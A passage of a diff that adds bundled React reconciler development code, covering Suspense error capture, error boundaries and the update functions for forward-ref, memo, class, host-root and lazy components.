+              return node;
+            }
+            node = node.return;
+          } while (node !== null);
+          return null;
+        }
+        function markSuspenseBoundaryShouldCapture(suspenseBoundary, returnFiber, sourceFiber, root2, rootRenderLanes) {
+          if ((suspenseBoundary.mode & ConcurrentMode) === NoMode) {
+            if (suspenseBoundary === returnFiber) {
+              suspenseBoundary.flags |= ShouldCapture;
+            } else {
+              suspenseBoundary.flags |= DidCapture;
+              sourceFiber.flags |= ForceUpdateForLegacySuspense;
+              sourceFiber.flags &= ~(LifecycleEffectMask | Incomplete);
+              if (sourceFiber.tag === ClassComponent) {
+                var currentSourceFiber = sourceFiber.alternate;
+                if (currentSourceFiber === null) {
+                  sourceFiber.tag = IncompleteClassComponent;
+                } else {
+                  var update = createUpdate(NoTimestamp, SyncLane);
+                  update.tag = ForceUpdate;
+                  enqueueUpdate(sourceFiber, update, SyncLane);
+                }
+              }
+              sourceFiber.lanes = mergeLanes(sourceFiber.lanes, SyncLane);
+            }
+            return suspenseBoundary;
+          }
+          suspenseBoundary.flags |= ShouldCapture;
+          suspenseBoundary.lanes = rootRenderLanes;
+          return suspenseBoundary;
+        }
+        function throwException(root2, returnFiber, sourceFiber, value, rootRenderLanes) {
+          sourceFiber.flags |= Incomplete;
+          {
+            if (isDevToolsPresent) {
+              restorePendingUpdaters(root2, rootRenderLanes);
+            }
+          }
+          if (value !== null && typeof value === "object" && typeof value.then === "function") {
+            var wakeable = value;
+            resetSuspendedComponent(sourceFiber);
+            {
+              if (getIsHydrating() && sourceFiber.mode & ConcurrentMode) {
+                markDidThrowWhileHydratingDEV();
+              }
+            }
+            var suspenseBoundary = getNearestSuspenseBoundaryToCapture(returnFiber);
+            if (suspenseBoundary !== null) {
+              suspenseBoundary.flags &= ~ForceClientRender;
+              markSuspenseBoundaryShouldCapture(suspenseBoundary, returnFiber, sourceFiber, root2, rootRenderLanes);
+              if (suspenseBoundary.mode & ConcurrentMode) {
+                attachPingListener(root2, wakeable, rootRenderLanes);
+              }
+              attachRetryListener(suspenseBoundary, root2, wakeable);
+              return;
+            } else {
+              if (!includesSyncLane(rootRenderLanes)) {
+                attachPingListener(root2, wakeable, rootRenderLanes);
+                renderDidSuspendDelayIfPossible();
+                return;
+              }
+              var uncaughtSuspenseError = new Error("A component suspended while responding to synchronous input. This will cause the UI to be replaced with a loading indicator. To fix, updates that suspend should be wrapped with startTransition.");
+              value = uncaughtSuspenseError;
+            }
+          } else {
+            if (getIsHydrating() && sourceFiber.mode & ConcurrentMode) {
+              markDidThrowWhileHydratingDEV();
+              var _suspenseBoundary = getNearestSuspenseBoundaryToCapture(returnFiber);
+              if (_suspenseBoundary !== null) {
+                if ((_suspenseBoundary.flags & ShouldCapture) === NoFlags) {
+                  _suspenseBoundary.flags |= ForceClientRender;
+                }
+                markSuspenseBoundaryShouldCapture(_suspenseBoundary, returnFiber, sourceFiber, root2, rootRenderLanes);
+                queueHydrationError(createCapturedValueAtFiber(value, sourceFiber));
+                return;
+              }
+            }
+          }
+          value = createCapturedValueAtFiber(value, sourceFiber);
+          renderDidError(value);
+          var workInProgress2 = returnFiber;
+          do {
+            switch (workInProgress2.tag) {
+              case HostRoot: {
+                var _errorInfo = value;
+                workInProgress2.flags |= ShouldCapture;
+                var lane = pickArbitraryLane(rootRenderLanes);
+                workInProgress2.lanes = mergeLanes(workInProgress2.lanes, lane);
+                var update = createRootErrorUpdate(workInProgress2, _errorInfo, lane);
+                enqueueCapturedUpdate(workInProgress2, update);
+                return;
+              }
+              case ClassComponent:
+                var errorInfo = value;
+                var ctor = workInProgress2.type;
+                var instance = workInProgress2.stateNode;
+                if ((workInProgress2.flags & DidCapture) === NoFlags && (typeof ctor.getDerivedStateFromError === "function" || instance !== null && typeof instance.componentDidCatch === "function" && !isAlreadyFailedLegacyErrorBoundary(instance))) {
+                  workInProgress2.flags |= ShouldCapture;
+                  var _lane = pickArbitraryLane(rootRenderLanes);
+                  workInProgress2.lanes = mergeLanes(workInProgress2.lanes, _lane);
+                  var _update = createClassErrorUpdate(workInProgress2, errorInfo, _lane);
+                  enqueueCapturedUpdate(workInProgress2, _update);
+                  return;
+                }
+                break;
+            }
+            workInProgress2 = workInProgress2.return;
+          } while (workInProgress2 !== null);
+        }
+        function getSuspendedCache() {
+          {
+            return null;
+          }
+        }
+        var ReactCurrentOwner$1 = ReactSharedInternals.ReactCurrentOwner;
+        var didReceiveUpdate = false;
+        var didWarnAboutBadClass;
+        var didWarnAboutModulePatternComponent;
+        var didWarnAboutContextTypeOnFunctionComponent;
+        var didWarnAboutGetDerivedStateOnFunctionComponent;
+        var didWarnAboutFunctionRefs;
+        var didWarnAboutReassigningProps;
+        var didWarnAboutRevealOrder;
+        var didWarnAboutTailOptions;
+        {
+          didWarnAboutBadClass = {};
+          didWarnAboutModulePatternComponent = {};
+          didWarnAboutContextTypeOnFunctionComponent = {};
+          didWarnAboutGetDerivedStateOnFunctionComponent = {};
+          didWarnAboutFunctionRefs = {};
+          didWarnAboutReassigningProps = false;
+          didWarnAboutRevealOrder = {};
+          didWarnAboutTailOptions = {};
+        }
+        function reconcileChildren(current2, workInProgress2, nextChildren, renderLanes2) {
+          if (current2 === null) {
+            workInProgress2.child = mountChildFibers(workInProgress2, null, nextChildren, renderLanes2);
+          } else {
+            workInProgress2.child = reconcileChildFibers(workInProgress2, current2.child, nextChildren, renderLanes2);
+          }
+        }
+        function forceUnmountCurrentAndReconcile(current2, workInProgress2, nextChildren, renderLanes2) {
+          workInProgress2.child = reconcileChildFibers(workInProgress2, current2.child, null, renderLanes2);
+          workInProgress2.child = reconcileChildFibers(workInProgress2, null, nextChildren, renderLanes2);
+        }
+        function updateForwardRef(current2, workInProgress2, Component, nextProps, renderLanes2) {
+          {
+            if (workInProgress2.type !== workInProgress2.elementType) {
+              var innerPropTypes = Component.propTypes;
+              if (innerPropTypes) {
+                checkPropTypes(innerPropTypes, nextProps, "prop", getComponentNameFromType(Component));
+              }
+            }
+          }
+          var render2 = Component.render;
+          var ref = workInProgress2.ref;
+          var nextChildren;
+          var hasId;
+          prepareToReadContext(workInProgress2, renderLanes2);
+          {
+            markComponentRenderStarted(workInProgress2);
+          }
+          {
+            ReactCurrentOwner$1.current = workInProgress2;
+            setIsRendering(true);
+            nextChildren = renderWithHooks(current2, workInProgress2, render2, nextProps, ref, renderLanes2);
+            hasId = checkDidRenderIdHook();
+            if (workInProgress2.mode & StrictLegacyMode) {
+              setIsStrictModeForDevtools(true);
+              try {
+                nextChildren = renderWithHooks(current2, workInProgress2, render2, nextProps, ref, renderLanes2);
+                hasId = checkDidRenderIdHook();
+              } finally {
+                setIsStrictModeForDevtools(false);
+              }
+            }
+            setIsRendering(false);
+          }
+          {
+            markComponentRenderStopped();
+          }
+          if (current2 !== null && !didReceiveUpdate) {
+            bailoutHooks(current2, workInProgress2, renderLanes2);
+            return bailoutOnAlreadyFinishedWork(current2, workInProgress2, renderLanes2);
+          }
+          if (getIsHydrating() && hasId) {
+            pushMaterializedTreeId(workInProgress2);
+          }
+          workInProgress2.flags |= PerformedWork;
+          reconcileChildren(current2, workInProgress2, nextChildren, renderLanes2);
+          return workInProgress2.child;
+        }
+        function updateMemoComponent(current2, workInProgress2, Component, nextProps, renderLanes2) {
+          if (current2 === null) {
+            var type = Component.type;
+            if (isSimpleFunctionComponent(type) && Component.compare === null && Component.defaultProps === void 0) {
+              var resolvedType = type;
+              {
+                resolvedType = resolveFunctionForHotReloading(type);
+              }
+              workInProgress2.tag = SimpleMemoComponent;
+              workInProgress2.type = resolvedType;
+              {
+                validateFunctionComponentInDev(workInProgress2, type);
+              }
+              return updateSimpleMemoComponent(current2, workInProgress2, resolvedType, nextProps, renderLanes2);
+            }
+            {
+              var innerPropTypes = type.propTypes;
+              if (innerPropTypes) {
+                checkPropTypes(innerPropTypes, nextProps, "prop", getComponentNameFromType(type));
+              }
+            }
+            var child = createFiberFromTypeAndProps(Component.type, null, nextProps, workInProgress2, workInProgress2.mode, renderLanes2);
+            child.ref = workInProgress2.ref;
+            child.return = workInProgress2;
+            workInProgress2.child = child;
+            return child;
+          }
+          {
+            var _type = Component.type;
+            var _innerPropTypes = _type.propTypes;
+            if (_innerPropTypes) {
+              checkPropTypes(_innerPropTypes, nextProps, "prop", getComponentNameFromType(_type));
+            }
+          }
+          var currentChild = current2.child;
+          var hasScheduledUpdateOrContext = checkScheduledUpdateOrContext(current2, renderLanes2);
+          if (!hasScheduledUpdateOrContext) {
+            var prevProps = currentChild.memoizedProps;
+            var compare = Component.compare;
+            compare = compare !== null ? compare : shallowEqual;
+            if (compare(prevProps, nextProps) && current2.ref === workInProgress2.ref) {
+              return bailoutOnAlreadyFinishedWork(current2, workInProgress2, renderLanes2);
+            }
+          }
+          workInProgress2.flags |= PerformedWork;
+          var newChild = createWorkInProgress(currentChild, nextProps);
+          newChild.ref = workInProgress2.ref;
+          newChild.return = workInProgress2;
+          workInProgress2.child = newChild;
+          return newChild;
+        }
+        function updateSimpleMemoComponent(current2, workInProgress2, Component, nextProps, renderLanes2) {
+          {
+            if (workInProgress2.type !== workInProgress2.elementType) {
+              var outerMemoType = workInProgress2.elementType;
+              if (outerMemoType.$$typeof === REACT_LAZY_TYPE) {
+                var lazyComponent = outerMemoType;
+                var payload = lazyComponent._payload;
+                var init = lazyComponent._init;
+                try {
+                  outerMemoType = init(payload);
+                } catch (x) {
+                  outerMemoType = null;
+                }
+                var outerPropTypes = outerMemoType && outerMemoType.propTypes;
+                if (outerPropTypes) {
+                  checkPropTypes(outerPropTypes, nextProps, "prop", getComponentNameFromType(outerMemoType));
+                }
+              }
+            }
+          }
+          if (current2 !== null) {
+            var prevProps = current2.memoizedProps;
+            if (shallowEqual(prevProps, nextProps) && current2.ref === workInProgress2.ref && workInProgress2.type === current2.type) {
+              didReceiveUpdate = false;
+              workInProgress2.pendingProps = nextProps = prevProps;
+              if (!checkScheduledUpdateOrContext(current2, renderLanes2)) {
+                workInProgress2.lanes = current2.lanes;
+                return bailoutOnAlreadyFinishedWork(current2, workInProgress2, renderLanes2);
+              } else if ((current2.flags & ForceUpdateForLegacySuspense) !== NoFlags) {
+                didReceiveUpdate = true;
+              }
+            }
+          }
+          return updateFunctionComponent(current2, workInProgress2, Component, nextProps, renderLanes2);
+        }
+        function updateOffscreenComponent(current2, workInProgress2, renderLanes2) {
+          var nextProps = workInProgress2.pendingProps;
+          var nextChildren = nextProps.children;
+          var prevState = current2 !== null ? current2.memoizedState : null;
+          if (nextProps.mode === "hidden" || enableLegacyHidden) {
+            if ((workInProgress2.mode & ConcurrentMode) === NoMode) {
+              var nextState = {
+                baseLanes: NoLanes,
+                cachePool: null,
+                transitions: null
+              };
+              workInProgress2.memoizedState = nextState;
+              pushRenderLanes(workInProgress2, renderLanes2);
+            } else if (!includesSomeLane(renderLanes2, OffscreenLane)) {
+              var spawnedCachePool = null;
+              var nextBaseLanes;
+              if (prevState !== null) {
+                var prevBaseLanes = prevState.baseLanes;
+                nextBaseLanes = mergeLanes(prevBaseLanes, renderLanes2);
+              } else {
+                nextBaseLanes = renderLanes2;
+              }
+              workInProgress2.lanes = workInProgress2.childLanes = laneToLanes(OffscreenLane);
+              var _nextState = {
+                baseLanes: nextBaseLanes,
+                cachePool: spawnedCachePool,
+                transitions: null
+              };
+              workInProgress2.memoizedState = _nextState;
+              workInProgress2.updateQueue = null;
+              pushRenderLanes(workInProgress2, nextBaseLanes);
+              return null;
+            } else {
+              var _nextState2 = {
+                baseLanes: NoLanes,
+                cachePool: null,
+                transitions: null
+              };
+              workInProgress2.memoizedState = _nextState2;
+              var subtreeRenderLanes2 = prevState !== null ? prevState.baseLanes : renderLanes2;
+              pushRenderLanes(workInProgress2, subtreeRenderLanes2);
+            }
+          } else {
+            var _subtreeRenderLanes;
+            if (prevState !== null) {
+              _subtreeRenderLanes = mergeLanes(prevState.baseLanes, renderLanes2);
+              workInProgress2.memoizedState = null;
+            } else {
+              _subtreeRenderLanes = renderLanes2;
+            }
+            pushRenderLanes(workInProgress2, _subtreeRenderLanes);
+          }
+          reconcileChildren(current2, workInProgress2, nextChildren, renderLanes2);
+          return workInProgress2.child;
+        }
+        function updateFragment(current2, workInProgress2, renderLanes2) {
+          var nextChildren = workInProgress2.pendingProps;
+          reconcileChildren(current2, workInProgress2, nextChildren, renderLanes2);
+          return workInProgress2.child;
+        }
+        function updateMode(current2, workInProgress2, renderLanes2) {
+          var nextChildren = workInProgress2.pendingProps.children;
+          reconcileChildren(current2, workInProgress2, nextChildren, renderLanes2);
+          return workInProgress2.child;
+        }
+        function updateProfiler(current2, workInProgress2, renderLanes2) {
+          {
+            workInProgress2.flags |= Update;
+            {
+              var stateNode = workInProgress2.stateNode;
+              stateNode.effectDuration = 0;
+              stateNode.passiveEffectDuration = 0;
+            }
+          }
+          var nextProps = workInProgress2.pendingProps;
+          var nextChildren = nextProps.children;
+          reconcileChildren(current2, workInProgress2, nextChildren, renderLanes2);
+          return workInProgress2.child;
+        }
+        function markRef(current2, workInProgress2) {
+          var ref = workInProgress2.ref;
+          if (current2 === null && ref !== null || current2 !== null && current2.ref !== ref) {
+            workInProgress2.flags |= Ref;
+            {
+              workInProgress2.flags |= RefStatic;
+            }
+          }
+        }
+        function updateFunctionComponent(current2, workInProgress2, Component, nextProps, renderLanes2) {
+          {
+            if (workInProgress2.type !== workInProgress2.elementType) {
+              var innerPropTypes = Component.propTypes;
+              if (innerPropTypes) {
+                checkPropTypes(innerPropTypes, nextProps, "prop", getComponentNameFromType(Component));
+              }
+            }
+          }
+          var context;
+          {
+            var unmaskedContext = getUnmaskedContext(workInProgress2, Component, true);
+            context = getMaskedContext(workInProgress2, unmaskedContext);
+          }
+          var nextChildren;
+          var hasId;
+          prepareToReadContext(workInProgress2, renderLanes2);
+          {
+            markComponentRenderStarted(workInProgress2);
+          }
+          {
+            ReactCurrentOwner$1.current = workInProgress2;
+            setIsRendering(true);
+            nextChildren = renderWithHooks(current2, workInProgress2, Component, nextProps, context, renderLanes2);
+            hasId = checkDidRenderIdHook();
+            if (workInProgress2.mode & StrictLegacyMode) {
+              setIsStrictModeForDevtools(true);
+              try {
+                nextChildren = renderWithHooks(current2, workInProgress2, Component, nextProps, context, renderLanes2);
+                hasId = checkDidRenderIdHook();
+              } finally {
+                setIsStrictModeForDevtools(false);
+              }
+            }
+            setIsRendering(false);
+          }
+          {
+            markComponentRenderStopped();
+          }
+          if (current2 !== null && !didReceiveUpdate) {
+            bailoutHooks(current2, workInProgress2, renderLanes2);
+            return bailoutOnAlreadyFinishedWork(current2, workInProgress2, renderLanes2);
+          }
+          if (getIsHydrating() && hasId) {
+            pushMaterializedTreeId(workInProgress2);
+          }
+          workInProgress2.flags |= PerformedWork;
+          reconcileChildren(current2, workInProgress2, nextChildren, renderLanes2);
+          return workInProgress2.child;
+        }
+        function updateClassComponent(current2, workInProgress2, Component, nextProps, renderLanes2) {
+          {
+            switch (shouldError(workInProgress2)) {
+              case false: {
+                var _instance = workInProgress2.stateNode;
+                var ctor = workInProgress2.type;
+                var tempInstance = new ctor(workInProgress2.memoizedProps, _instance.context);
+                var state = tempInstance.state;
+                _instance.updater.enqueueSetState(_instance, state, null);
+                break;
+              }
+              case true: {
+                workInProgress2.flags |= DidCapture;
+                workInProgress2.flags |= ShouldCapture;
+                var error$1 = new Error("Simulated error coming from DevTools");
+                var lane = pickArbitraryLane(renderLanes2);
+                workInProgress2.lanes = mergeLanes(workInProgress2.lanes, lane);
+                var update = createClassErrorUpdate(workInProgress2, createCapturedValueAtFiber(error$1, workInProgress2), lane);
+                enqueueCapturedUpdate(workInProgress2, update);
+                break;
+              }
+            }
+            if (workInProgress2.type !== workInProgress2.elementType) {
+              var innerPropTypes = Component.propTypes;
+              if (innerPropTypes) {
+                checkPropTypes(innerPropTypes, nextProps, "prop", getComponentNameFromType(Component));
+              }
+            }
+          }
+          var hasContext;
+          if (isContextProvider(Component)) {
+            hasContext = true;
+            pushContextProvider(workInProgress2);
+          } else {
+            hasContext = false;
+          }
+          prepareToReadContext(workInProgress2, renderLanes2);
+          var instance = workInProgress2.stateNode;
+          var shouldUpdate;
+          if (instance === null) {
+            resetSuspendedCurrentOnMountInLegacyMode(current2, workInProgress2);
+            constructClassInstance(workInProgress2, Component, nextProps);
+            mountClassInstance(workInProgress2, Component, nextProps, renderLanes2);
+            shouldUpdate = true;
+          } else if (current2 === null) {
+            shouldUpdate = resumeMountClassInstance(workInProgress2, Component, nextProps, renderLanes2);
+          } else {
+            shouldUpdate = updateClassInstance(current2, workInProgress2, Component, nextProps, renderLanes2);
+          }
+          var nextUnitOfWork = finishClassComponent(current2, workInProgress2, Component, shouldUpdate, hasContext, renderLanes2);
+          {
+            var inst = workInProgress2.stateNode;
+            if (shouldUpdate && inst.props !== nextProps) {
+              if (!didWarnAboutReassigningProps) {
+                error("It looks like %s is reassigning its own `this.props` while rendering. This is not supported and can lead to confusing bugs.", getComponentNameFromFiber(workInProgress2) || "a component");
+              }
+              didWarnAboutReassigningProps = true;
+            }
+          }
+          return nextUnitOfWork;
+        }
+        function finishClassComponent(current2, workInProgress2, Component, shouldUpdate, hasContext, renderLanes2) {
+          markRef(current2, workInProgress2);
+          var didCaptureError = (workInProgress2.flags & DidCapture) !== NoFlags;
+          if (!shouldUpdate && !didCaptureError) {
+            if (hasContext) {
+              invalidateContextProvider(workInProgress2, Component, false);
+            }
+            return bailoutOnAlreadyFinishedWork(current2, workInProgress2, renderLanes2);
+          }
+          var instance = workInProgress2.stateNode;
+          ReactCurrentOwner$1.current = workInProgress2;
+          var nextChildren;
+          if (didCaptureError && typeof Component.getDerivedStateFromError !== "function") {
+            nextChildren = null;
+            {
+              stopProfilerTimerIfRunning();
+            }
+          } else {
+            {
+              markComponentRenderStarted(workInProgress2);
+            }
+            {
+              setIsRendering(true);
+              nextChildren = instance.render();
+              if (workInProgress2.mode & StrictLegacyMode) {
+                setIsStrictModeForDevtools(true);
+                try {
+                  instance.render();
+                } finally {
+                  setIsStrictModeForDevtools(false);
+                }
+              }
+              setIsRendering(false);
+            }
+            {
+              markComponentRenderStopped();
+            }
+          }
+          workInProgress2.flags |= PerformedWork;
+          if (current2 !== null && didCaptureError) {
+            forceUnmountCurrentAndReconcile(current2, workInProgress2, nextChildren, renderLanes2);
+          } else {
+            reconcileChildren(current2, workInProgress2, nextChildren, renderLanes2);
+          }
+          workInProgress2.memoizedState = instance.state;
+          if (hasContext) {
+            invalidateContextProvider(workInProgress2, Component, true);
+          }
+          return workInProgress2.child;
+        }
+        function pushHostRootContext(workInProgress2) {
+          var root2 = workInProgress2.stateNode;
+          if (root2.pendingContext) {
+            pushTopLevelContextObject(workInProgress2, root2.pendingContext, root2.pendingContext !== root2.context);
+          } else if (root2.context) {
+            pushTopLevelContextObject(workInProgress2, root2.context, false);
+          }
+          pushHostContainer(workInProgress2, root2.containerInfo);
+        }
+        function updateHostRoot(current2, workInProgress2, renderLanes2) {
+          pushHostRootContext(workInProgress2);
+          if (current2 === null) {
+            throw new Error("Should have a current fiber. This is a bug in React.");
+          }
+          var nextProps = workInProgress2.pendingProps;
+          var prevState = workInProgress2.memoizedState;
+          var prevChildren = prevState.element;
+          cloneUpdateQueue(current2, workInProgress2);
+          processUpdateQueue(workInProgress2, nextProps, null, renderLanes2);
+          var nextState = workInProgress2.memoizedState;
+          var root2 = workInProgress2.stateNode;
+          var nextChildren = nextState.element;
+          if (prevState.isDehydrated) {
+            var overrideState = {
+              element: nextChildren,
+              isDehydrated: false,
+              cache: nextState.cache,
+              pendingSuspenseBoundaries: nextState.pendingSuspenseBoundaries,
+              transitions: nextState.transitions
+            };
+            var updateQueue = workInProgress2.updateQueue;
+            updateQueue.baseState = overrideState;
+            workInProgress2.memoizedState = overrideState;
+            if (workInProgress2.flags & ForceClientRender) {
+              var recoverableError = createCapturedValueAtFiber(new Error("There was an error while hydrating. Because the error happened outside of a Suspense boundary, the entire root will switch to client rendering."), workInProgress2);
+              return mountHostRootWithoutHydrating(current2, workInProgress2, nextChildren, renderLanes2, recoverableError);
+            } else if (nextChildren !== prevChildren) {
+              var _recoverableError = createCapturedValueAtFiber(new Error("This root received an early update, before anything was able hydrate. Switched the entire root to client rendering."), workInProgress2);
+              return mountHostRootWithoutHydrating(current2, workInProgress2, nextChildren, renderLanes2, _recoverableError);
+            } else {
+              enterHydrationState(workInProgress2);
+              var child = mountChildFibers(workInProgress2, null, nextChildren, renderLanes2);
+              workInProgress2.child = child;
+              var node = child;
+              while (node) {
+                node.flags = node.flags & ~Placement | Hydrating;
+                node = node.sibling;
+              }
+            }
+          } else {
+            resetHydrationState();
+            if (nextChildren === prevChildren) {
+              return bailoutOnAlreadyFinishedWork(current2, workInProgress2, renderLanes2);
+            }
+            reconcileChildren(current2, workInProgress2, nextChildren, renderLanes2);
+          }
+          return workInProgress2.child;
+        }
+        function mountHostRootWithoutHydrating(current2, workInProgress2, nextChildren, renderLanes2, recoverableError) {
+          resetHydrationState();
+          queueHydrationError(recoverableError);
+          workInProgress2.flags |= ForceClientRender;
+          reconcileChildren(current2, workInProgress2, nextChildren, renderLanes2);
+          return workInProgress2.child;
+        }
+        function updateHostComponent(current2, workInProgress2, renderLanes2) {
+          pushHostContext(workInProgress2);
+          if (current2 === null) {
+            tryToClaimNextHydratableInstance(workInProgress2);
+          }
+          var type = workInProgress2.type;
+          var nextProps = workInProgress2.pendingProps;
+          var prevProps = current2 !== null ? current2.memoizedProps : null;
+          var nextChildren = nextProps.children;
+          var isDirectTextChild = shouldSetTextContent(type, nextProps);
+          if (isDirectTextChild) {
+            nextChildren = null;
+          } else if (prevProps !== null && shouldSetTextContent(type, prevProps)) {
+            workInProgress2.flags |= ContentReset;
+          }
+          markRef(current2, workInProgress2);
+          reconcileChildren(current2, workInProgress2, nextChildren, renderLanes2);
+          return workInProgress2.child;
+        }
+        function updateHostText(current2, workInProgress2) {
+          if (current2 === null) {
+            tryToClaimNextHydratableInstance(workInProgress2);
+          }
+          return null;
+        }
+        function mountLazyComponent(_current, workInProgress2, elementType, renderLanes2) {
+          resetSuspendedCurrentOnMountInLegacyMode(_current, workInProgress2);
+          var props = workInProgress2.pendingProps;
+          var lazyComponent = elementType;
+          var payload = lazyComponent._payload;
+          var init = lazyComponent._init;
+          var Component = init(payload);
+          workInProgress2.type = Component;
+          var resolvedTag = workInProgress2.tag = resolveLazyComponentTag(Component);
+          var resolvedProps = resolveDefaultProps(Component, props);
+          var child;
+          switch (resolvedTag) {
+            case FunctionComponent: {
+              {
+                validateFunctionComponentInDev(workInProgress2, Component);
+                workInProgress2.type = Component = resolveFunctionForHotReloading(Component);
+              }
+              child = updateFunctionComponent(null, workInProgress2, Component, resolvedProps, renderLanes2);
+              return child;
+            }
+            case ClassComponent: {
+              {
+                workInProgress2.type = Component = resolveClassForHotReloading(Component);
+              }
+              child = updateClassComponent(null, workInProgress2, Component, resolvedProps, renderLanes2);
+              return child;
+            }
+            case ForwardRef: {
+              {
+                workInProgress2.type = Component = resolveForwardRefForHotReloading(Component);
+              }
+              child = updateForwardRef(null, workInProgress2, Component, resolvedProps, renderLanes2);
+              return child;
+            }
+            case MemoComponent: {
+              {
+                if (workInProgress2.type !== workInProgress2.elementType) {
+                  var outerPropTypes = Component.propTypes;
+                  if (outerPropTypes) {
+                    checkPropTypes(outerPropTypes, resolvedProps, "prop", getComponentNameFromType(Component));
+                  }
+                }
+              }
+              child = updateMemoComponent(null, workInProgress2, Component, resolveDefaultProps(Component.type, resolvedProps), renderLanes2);
+              return child;
+            }
+          }
+          var hint = "";
+          {
+            if (Component !== null && typeof Component === "object" && Component.$$typeof === REACT_LAZY_TYPE) {
+              hint = " Did you wrap a component in React.lazy() more than once?";
+            }
+          }
+          throw new Error("Element type is invalid. Received a promise that resolves to: " + Component + ". " + ("Lazy element type must resolve to a class or function." + hint));
+        }
+        function mountIncompleteClassComponent(_current, workInProgress2, Component, nextProps, renderLanes2) {
+          resetSuspendedCurrentOnMountInLegacyMode(_current, workInProgress2);
+          workInProgress2.tag = ClassComponent;
+          var hasContext;
+          if (isContextProvider(Component)) {
+            hasContext = true;
+            pushContextProvider(workInProgress2);
+          } else {
+            hasContext = false;
+          }
+          prepareToReadContext(workInProgress2, renderLanes2);
+          constructClassInstance(workInProgress2, Component, nextProps);
+          mountClassInstance(workInProgress2, Component, nextProps, renderLanes2);
+          return finishClassComponent(null, workInProgress2, Component, true, hasContext, renderLanes2);
+        }
+        function mountIndeterminateComponent(_current, workInProgress2, Component, renderLanes2) {
+          resetSuspendedCurrentOnMountInLegacyMode(_current, workInProgress2);
+          var props = workInProgress2.pendingProps;
+          var context;
+          {
+            var unmaskedContext = getUnmaskedContext(workInProgress2, Component, false);
+            context = getMaskedContext(workInProgress2, unmaskedContext);
+          }
+          prepareToReadContext(workInProgress2, renderLanes2);
+          var value;
+          var hasId;
+          {
+            markComponentRenderStarted(workInProgress2);
+          }
+          {
+            if (Component.prototype && typeof Component.prototype.render === "function") {
+              var componentName = getComponentNameFromType(Component) || "Unknown";
+              if (!didWarnAboutBadClass[componentName]) {
+                error("The <%s /> component appears to have a render method, but doesn't extend React.Component. This is likely to cause errors. Change %s to extend React.Component instead.", componentName, componentName);
+                didWarnAboutBadClass[componentName] = true;
+              }
+            }
+            if (workInProgress2.mode & StrictLegacyMode) {
+              ReactStrictModeWarnings.recordLegacyContextWarning(workInProgress2, null);
+            }
+            setIsRendering(true);
+            ReactCurrentOwner$1.current = workInProgress2;
+            value = renderWithHooks(null, workInProgress2, Component, props, context, renderLanes2);
+            hasId = checkDidRenderIdHook();
+            setIsRendering(false);
+          }
+          {
+            markComponentRenderStopped();
+          }
+          workInProgress2.flags |= PerformedWork;
+          {
+            if (typeof value === "object" && value !== null && typeof value.render === "function" && value.$$typeof === void 0) {
+              var _componentName = getComponentNameFromType(Component) || "Unknown";
+              if (!didWarnAboutModulePatternComponent[_componentName]) {
+                error("The <%s /> component appears to be a function component that returns a class instance. Change %s to a class that extends React.Component instead. If you can't use a class try assigning the prototype on the function as a workaround. `%s.prototype = React.Component.prototype`. Don't use an arrow function since it cannot be called with `new` by React.", _componentName, _componentName, _componentName);
+                didWarnAboutModulePatternComponent[_componentName] = true;
+              }
+            }
+          }
+          if (typeof value === "object" && value !== null && typeof value.render === "function" && value.$$typeof === void 0) {
+            {
+              var _componentName2 = getComponentNameFromType(Component) || "Unknown";
+              if (!didWarnAboutModulePatternComponent[_componentName2]) {
+                error("The <%s /> component appears to be a function component that returns a class instance. Change %s to a class that extends React.Component instead. If you can't use a class try assigning the prototype on the function as a workaround. `%s.prototype = React.Component.prototype`. Don't use an arrow function since it cannot be called with `new` by React.", _componentName2, _componentName2, _componentName2);
+                didWarnAboutModulePatternComponent[_componentName2] = true;
+              }
+            }
+            workInProgress2.tag = ClassComponent;
+            workInProgress2.memoizedState = null;
+            workInProgress2.updateQueue = null;
+            var hasContext = false;
+            if (isContextProvider(Component)) {
+              hasContext = true;
+              pushContextProvider(workInProgress2);
+            } else {
+              hasContext = false;
+            }
+            workInProgress2.memoizedState = value.state !== null && value.state !== void 0 ? value.state : null;
+            initializeUpdateQueue(workInProgress2);
+            adoptClassInstance(workInProgress2, value);
+            mountClassInstance(workInProgress2, Component, props, renderLanes2);
+            return finishClassComponent(null, workInProgress2, Component, true, hasContext, renderLanes2);
+          } else {
+            workInProgress2.tag = FunctionComponent;
+            {
+              if (workInProgress2.mode & StrictLegacyMode) {
+                setIsStrictModeForDevtools(true);
+                try {
+                  value = renderWithHooks(null, workInProgress2, Component, props, context, renderLanes2);
+                  hasId = checkDidRenderIdHook();
+                } finally {
+                  setIsStrictModeForDevtools(false);
+                }
+              }
+            }
+            if (getIsHydrating() && hasId) {
+              pushMaterializedTreeId(workInProgress2);
+            }
+            reconcileChildren(null, workInProgress2, value, renderLanes2);
+            {
+              validateFunctionComponentInDev(workInProgress2, Component);
+            }
+            return workInProgress2.child;
+          }
+        }
+        function validateFunctionComponentInDev(workInProgress2, Component) {
+          {
+            if (Component) {
+              if (Component.childContextTypes) {
+                error("%s(...): childContextTypes cannot be defined on a function component.", Component.displayName || Component.name || "Component");
+              }
+            }
+            if (workInProgress2.ref !== null) {
+              var info = "";
+              var ownerName = getCurrentFiberOwnerNameInDevOrNull();
+              if (ownerName) {
+                info += "\n\nCheck the render method of `" + ownerName + "`.";
+              }
+              var warningKey = ownerName || "";
+              var debugSource = workInProgress2._debugSource;
+              if (debugSource) {
+                warningKey = debugSource.fileName + ":" + debugSource.lineNumber;
+              }
+              if (!didWarnAboutFunctionRefs[warningKey]) {
+                didWarnAboutFunctionRefs[warningKey] = true;
+                error("Function components cannot be given refs. Attempts to access this ref will fail. Did you mean to use React.forwardRef()?%s", info);
+              }
+            }
+            if (typeof Component.getDerivedStateFromProps === "function") {
+              var _componentName3 = getComponentNameFromType(Component) || "Unknown";
+              if (!didWarnAboutGetDerivedStateOnFunctionComponent[_componentName3]) {
+                error("%s: Function components do not support getDerivedStateFromProps.", _componentName3);
+                didWarnAboutGetDerivedStateOnFunctionComponent[_componentName3] = true;
+              }
+            }
+            if (typeof Component.contextType === "object" && Component.contextType !== null) {
+              var _componentName4 = getComponentNameFromType(Component) || "Unknown";
+              if (!didWarnAboutContextTypeOnFunctionComponent[_componentName4]) {
+                error("%s: Function components do not support contextType.", _componentName4);
+                didWarnAboutContextTypeOnFunctionComponent[_componentName4] = true;
+              }
+            }
+          }
+        }
+        var SUSPENDED_MARKER = {
+          dehydrated: null,
+          treeContext: null,
+          retryLane: NoLane
+        };
+        function mountSuspenseOffscreenState(renderLanes2) {
+          return {
+            baseLanes: renderLanes2,
+            cachePool: getSuspendedCache(),
+            transitions: null
+          };
+        }
